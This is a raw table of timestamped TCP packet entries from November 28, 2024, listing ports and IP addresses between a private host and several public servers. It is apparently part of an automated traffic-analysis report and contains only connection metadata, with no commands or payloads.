Nov 28, 2024 06:48:11.028640985 CET	443	49712	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:11.028821945 CET	49711	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:11.028832912 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:11.028902054 CET	49712	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:11.029058933 CET	49712	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:11.029071093 CET	443	49712	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:11.090049028 CET	49713	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:11.090075016 CET	443	49713	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:11.090306997 CET	49713	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:11.090579987 CET	49713	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:11.090589046 CET	443	49713	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:11.545686960 CET	443	49708	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:11.553844929 CET	49708	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:11.553852081 CET	443	49708	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:11.555094004 CET	443	49708	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:11.555201054 CET	49708	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:11.557383060 CET	49708	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:11.557444096 CET	443	49708	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:11.557511091 CET	49708	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:11.599329948 CET	443	49708	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:11.602071047 CET	49708	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:11.602081060 CET	443	49708	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:11.650357962 CET	49708	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:12.142381907 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:12.142479897 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:12.399645090 CET	443	49708	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:12.399687052 CET	443	49708	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:12.399710894 CET	443	49708	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:12.399763107 CET	49708	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:12.399799109 CET	443	49708	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:12.399835110 CET	49708	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:12.406614065 CET	443	49708	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:12.412842035 CET	443	49708	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:12.412861109 CET	443	49708	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:12.412906885 CET	49708	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:12.412919044 CET	443	49708	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:12.412955999 CET	49708	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:12.421096087 CET	443	49708	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:12.421367884 CET	443	49708	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:12.421418905 CET	49708	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:12.461657047 CET	49708	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:12.461689949 CET	443	49708	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:12.797926903 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:12.798207045 CET	49711	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:12.798233986 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:12.799209118 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:12.799289942 CET	49711	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:12.799700975 CET	49711	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:12.799761057 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:12.799953938 CET	49711	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:12.799962044 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:12.821005106 CET	443	49712	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:12.822952032 CET	49712	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:12.822973967 CET	443	49712	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:12.823983908 CET	443	49712	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:12.824059963 CET	49712	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:12.824611902 CET	49712	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:12.824670076 CET	443	49712	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:12.824991941 CET	49712	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:12.824997902 CET	443	49712	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:12.852040052 CET	49711	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:12.867680073 CET	49712	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:12.907460928 CET	443	49713	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:12.907737970 CET	49713	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:12.907752991 CET	443	49713	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:12.908732891 CET	443	49713	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:12.908787012 CET	49713	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:12.909140110 CET	49713	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:12.909193993 CET	443	49713	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:12.961430073 CET	49713	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:12.961442947 CET	443	49713	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:13.008294106 CET	49713	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:13.672504902 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:13.672554970 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:13.672588110 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:13.672619104 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:13.672626019 CET	49711	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:13.672656059 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:13.672672033 CET	49711	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:13.681051016 CET	443	49712	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:13.681433916 CET	443	49712	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:13.681581020 CET	49712	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:13.682538986 CET	49712	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:13.682554960 CET	443	49712	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:13.685694933 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:13.685734034 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:13.685766935 CET	49711	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:13.685779095 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:13.685822964 CET	49711	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:13.694298029 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:13.705701113 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:13.705754995 CET	49711	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:13.705764055 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:13.758045912 CET	49711	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:13.758054972 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:13.822493076 CET	49711	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:13.822501898 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:13.868417025 CET	49711	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:13.868424892 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:13.877456903 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:13.877515078 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:13.877527952 CET	49711	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:13.877535105 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:13.877580881 CET	49711	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:13.883394003 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:13.893771887 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:13.893826962 CET	49711	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:13.893836021 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:13.907325029 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:13.907385111 CET	49711	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:13.907392025 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:13.921112061 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:13.921180010 CET	49711	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:13.921189070 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:13.933454037 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:13.933549881 CET	49711	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:13.933577061 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:13.945811033 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:13.945913076 CET	49711	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:13.945940018 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:13.958528996 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:13.958637953 CET	49711	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:13.958645105 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:13.971060991 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:13.971092939 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:13.971117973 CET	49711	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:13.971126080 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:13.971172094 CET	49711	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:13.983262062 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:13.995237112 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:13.995326996 CET	49711	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:13.995335102 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:14.040323019 CET	49711	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:14.040333986 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:14.074959993 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:14.075090885 CET	49711	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:14.075120926 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:14.084758043 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:14.084819078 CET	49711	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:14.084831953 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:14.091531992 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:14.091593981 CET	49711	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:14.091604948 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:14.098202944 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:14.098289013 CET	49711	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:14.098298073 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:14.102338076 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:14.102406025 CET	49711	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:14.102415085 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:14.109138012 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:14.109215975 CET	49711	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:14.109224081 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:14.114178896 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:14.114247084 CET	49711	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:14.114253998 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:14.125766039 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:14.125848055 CET	49711	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:14.125855923 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:14.136679888 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:14.136749983 CET	49711	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:14.136760950 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:14.147332907 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:14.147399902 CET	49711	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:14.147411108 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:14.158296108 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:14.158370972 CET	49711	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:14.158381939 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:14.169708014 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:14.169765949 CET	49711	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:14.169778109 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:14.179039955 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:14.179243088 CET	49711	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:14.179253101 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:14.188621044 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:14.188700914 CET	49711	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:14.188725948 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:14.198740005 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:14.198806047 CET	49711	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:14.198815107 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:14.207757950 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:14.207833052 CET	49711	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:14.207842112 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:14.218004942 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:14.218082905 CET	49711	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:14.218105078 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:14.225733995 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:14.225802898 CET	49711	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:14.225814104 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:14.233795881 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:14.233864069 CET	49711	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:14.233872890 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:14.242634058 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:14.242688894 CET	49711	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:14.242697001 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:14.248409986 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:14.248461008 CET	49711	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:14.248466969 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:14.253971100 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:14.254043102 CET	49711	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:14.254056931 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:14.259686947 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:14.259741068 CET	49711	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:14.259747982 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:14.276108980 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:14.276192904 CET	49711	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:14.276201010 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:14.277772903 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:14.277839899 CET	49711	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:14.277847052 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:14.280178070 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:14.280241966 CET	49711	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:14.280249119 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:14.284257889 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:14.284327984 CET	49711	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:14.284342051 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:14.292630911 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:14.292722940 CET	49711	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:14.292740107 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:14.304239035 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:14.304295063 CET	49711	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:14.304305077 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:14.305916071 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:14.305970907 CET	49711	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:14.305977106 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:14.315301895 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:14.315376043 CET	49711	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:14.315383911 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:14.316493988 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:14.316560984 CET	49711	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:14.316716909 CET	49711	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:14.316736937 CET	443	49711	142.250.181.100	192.168.2.5
Nov 28, 2024 06:48:15.688787937 CET	49721	443	192.168.2.5	23.32.185.164
Nov 28, 2024 06:48:15.688855886 CET	443	49721	23.32.185.164	192.168.2.5
Nov 28, 2024 06:48:15.688939095 CET	49721	443	192.168.2.5	23.32.185.164
Nov 28, 2024 06:48:15.692086935 CET	49721	443	192.168.2.5	23.32.185.164
Nov 28, 2024 06:48:15.692107916 CET	443	49721	23.32.185.164	192.168.2.5
Nov 28, 2024 06:48:15.704365015 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:15.704772949 CET	49724	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:15.776329994 CET	49725	443	192.168.2.5	4.245.163.56
Nov 28, 2024 06:48:15.776354074 CET	443	49725	4.245.163.56	192.168.2.5
Nov 28, 2024 06:48:15.776427984 CET	49725	443	192.168.2.5	4.245.163.56
Nov 28, 2024 06:48:15.778242111 CET	49725	443	192.168.2.5	4.245.163.56
Nov 28, 2024 06:48:15.778258085 CET	443	49725	4.245.163.56	192.168.2.5
Nov 28, 2024 06:48:15.828058958 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:15.828447104 CET	80	49724	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:15.828545094 CET	49724	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:15.828810930 CET	49724	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:15.952497005 CET	80	49724	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:17.160325050 CET	443	49721	23.32.185.164	192.168.2.5
Nov 28, 2024 06:48:17.160449982 CET	49721	443	192.168.2.5	23.32.185.164
Nov 28, 2024 06:48:17.165359020 CET	49721	443	192.168.2.5	23.32.185.164
Nov 28, 2024 06:48:17.165369987 CET	443	49721	23.32.185.164	192.168.2.5
Nov 28, 2024 06:48:17.165625095 CET	443	49721	23.32.185.164	192.168.2.5
Nov 28, 2024 06:48:17.213478088 CET	49721	443	192.168.2.5	23.32.185.164
Nov 28, 2024 06:48:17.230201960 CET	49721	443	192.168.2.5	23.32.185.164
Nov 28, 2024 06:48:17.275332928 CET	443	49721	23.32.185.164	192.168.2.5
Nov 28, 2024 06:48:17.587426901 CET	443	49725	4.245.163.56	192.168.2.5
Nov 28, 2024 06:48:17.587513924 CET	49725	443	192.168.2.5	4.245.163.56
Nov 28, 2024 06:48:17.593905926 CET	49725	443	192.168.2.5	4.245.163.56
Nov 28, 2024 06:48:17.593918085 CET	443	49725	4.245.163.56	192.168.2.5
Nov 28, 2024 06:48:17.594357967 CET	443	49725	4.245.163.56	192.168.2.5
Nov 28, 2024 06:48:17.648804903 CET	49725	443	192.168.2.5	4.245.163.56
Nov 28, 2024 06:48:17.713733912 CET	443	49721	23.32.185.164	192.168.2.5
Nov 28, 2024 06:48:17.713785887 CET	443	49721	23.32.185.164	192.168.2.5
Nov 28, 2024 06:48:17.717500925 CET	49721	443	192.168.2.5	23.32.185.164
Nov 28, 2024 06:48:17.739289999 CET	80	49724	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:17.745497942 CET	49724	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:17.865031004 CET	49721	443	192.168.2.5	23.32.185.164
Nov 28, 2024 06:48:17.865073919 CET	443	49721	23.32.185.164	192.168.2.5
Nov 28, 2024 06:48:17.865093946 CET	49721	443	192.168.2.5	23.32.185.164
Nov 28, 2024 06:48:17.865103006 CET	443	49721	23.32.185.164	192.168.2.5
Nov 28, 2024 06:48:18.236104012 CET	49728	443	192.168.2.5	23.32.185.164
Nov 28, 2024 06:48:18.236140013 CET	443	49728	23.32.185.164	192.168.2.5
Nov 28, 2024 06:48:18.236233950 CET	49728	443	192.168.2.5	23.32.185.164
Nov 28, 2024 06:48:18.236536026 CET	49728	443	192.168.2.5	23.32.185.164
Nov 28, 2024 06:48:18.236546040 CET	443	49728	23.32.185.164	192.168.2.5
Nov 28, 2024 06:48:18.313734055 CET	49724	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:18.437407017 CET	80	49724	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:18.575170040 CET	49713	443	192.168.2.5	142.250.181.100
Nov 28, 2024 06:48:18.984725952 CET	49730	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:18.984759092 CET	443	49730	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:18.984822035 CET	49730	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:18.985193014 CET	49730	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:18.985204935 CET	443	49730	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:19.279072046 CET	80	49724	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:19.279290915 CET	49724	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:19.518135071 CET	49725	443	192.168.2.5	4.245.163.56
Nov 28, 2024 06:48:19.559326887 CET	443	49725	4.245.163.56	192.168.2.5
Nov 28, 2024 06:48:19.790971994 CET	443	49728	23.32.185.164	192.168.2.5
Nov 28, 2024 06:48:19.791070938 CET	49728	443	192.168.2.5	23.32.185.164
Nov 28, 2024 06:48:19.795646906 CET	49728	443	192.168.2.5	23.32.185.164
Nov 28, 2024 06:48:19.795660019 CET	443	49728	23.32.185.164	192.168.2.5
Nov 28, 2024 06:48:19.796108961 CET	443	49728	23.32.185.164	192.168.2.5
Nov 28, 2024 06:48:19.797355890 CET	49728	443	192.168.2.5	23.32.185.164
Nov 28, 2024 06:48:19.843331099 CET	443	49728	23.32.185.164	192.168.2.5
Nov 28, 2024 06:48:20.120882988 CET	443	49725	4.245.163.56	192.168.2.5
Nov 28, 2024 06:48:20.120923042 CET	443	49725	4.245.163.56	192.168.2.5
Nov 28, 2024 06:48:20.120930910 CET	443	49725	4.245.163.56	192.168.2.5
Nov 28, 2024 06:48:20.120961905 CET	443	49725	4.245.163.56	192.168.2.5
Nov 28, 2024 06:48:20.120985985 CET	443	49725	4.245.163.56	192.168.2.5
Nov 28, 2024 06:48:20.120996952 CET	443	49725	4.245.163.56	192.168.2.5
Nov 28, 2024 06:48:20.121006012 CET	49725	443	192.168.2.5	4.245.163.56
Nov 28, 2024 06:48:20.121026039 CET	443	49725	4.245.163.56	192.168.2.5
Nov 28, 2024 06:48:20.121054888 CET	49725	443	192.168.2.5	4.245.163.56
Nov 28, 2024 06:48:20.121073008 CET	49725	443	192.168.2.5	4.245.163.56
Nov 28, 2024 06:48:20.146599054 CET	443	49725	4.245.163.56	192.168.2.5
Nov 28, 2024 06:48:20.146668911 CET	443	49725	4.245.163.56	192.168.2.5
Nov 28, 2024 06:48:20.146683931 CET	49725	443	192.168.2.5	4.245.163.56
Nov 28, 2024 06:48:20.146754980 CET	49725	443	192.168.2.5	4.245.163.56
Nov 28, 2024 06:48:20.365174055 CET	443	49728	23.32.185.164	192.168.2.5
Nov 28, 2024 06:48:20.365360975 CET	443	49728	23.32.185.164	192.168.2.5
Nov 28, 2024 06:48:20.365453005 CET	49728	443	192.168.2.5	23.32.185.164
Nov 28, 2024 06:48:20.614933968 CET	49728	443	192.168.2.5	23.32.185.164
Nov 28, 2024 06:48:20.614955902 CET	443	49728	23.32.185.164	192.168.2.5
Nov 28, 2024 06:48:20.851270914 CET	443	49730	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:20.851382971 CET	49730	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:21.036616087 CET	49730	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:21.036629915 CET	443	49730	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:21.036894083 CET	443	49730	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:21.047854900 CET	49730	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:21.091339111 CET	443	49730	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:21.439862967 CET	443	49730	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:21.439884901 CET	443	49730	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:21.439903021 CET	443	49730	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:21.439960003 CET	49730	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:21.439974070 CET	443	49730	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:21.440021992 CET	49730	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:21.440048933 CET	49730	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:21.610749960 CET	49725	443	192.168.2.5	4.245.163.56
Nov 28, 2024 06:48:21.610763073 CET	443	49725	4.245.163.56	192.168.2.5
Nov 28, 2024 06:48:21.630918026 CET	443	49730	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:21.630940914 CET	443	49730	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:21.631001949 CET	49730	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:21.631010056 CET	443	49730	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:21.631072998 CET	49730	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:21.631083012 CET	49730	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:21.685512066 CET	443	49730	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:21.685533047 CET	443	49730	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:21.685584068 CET	49730	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:21.685591936 CET	443	49730	13.107.246.63	192.168.2.5
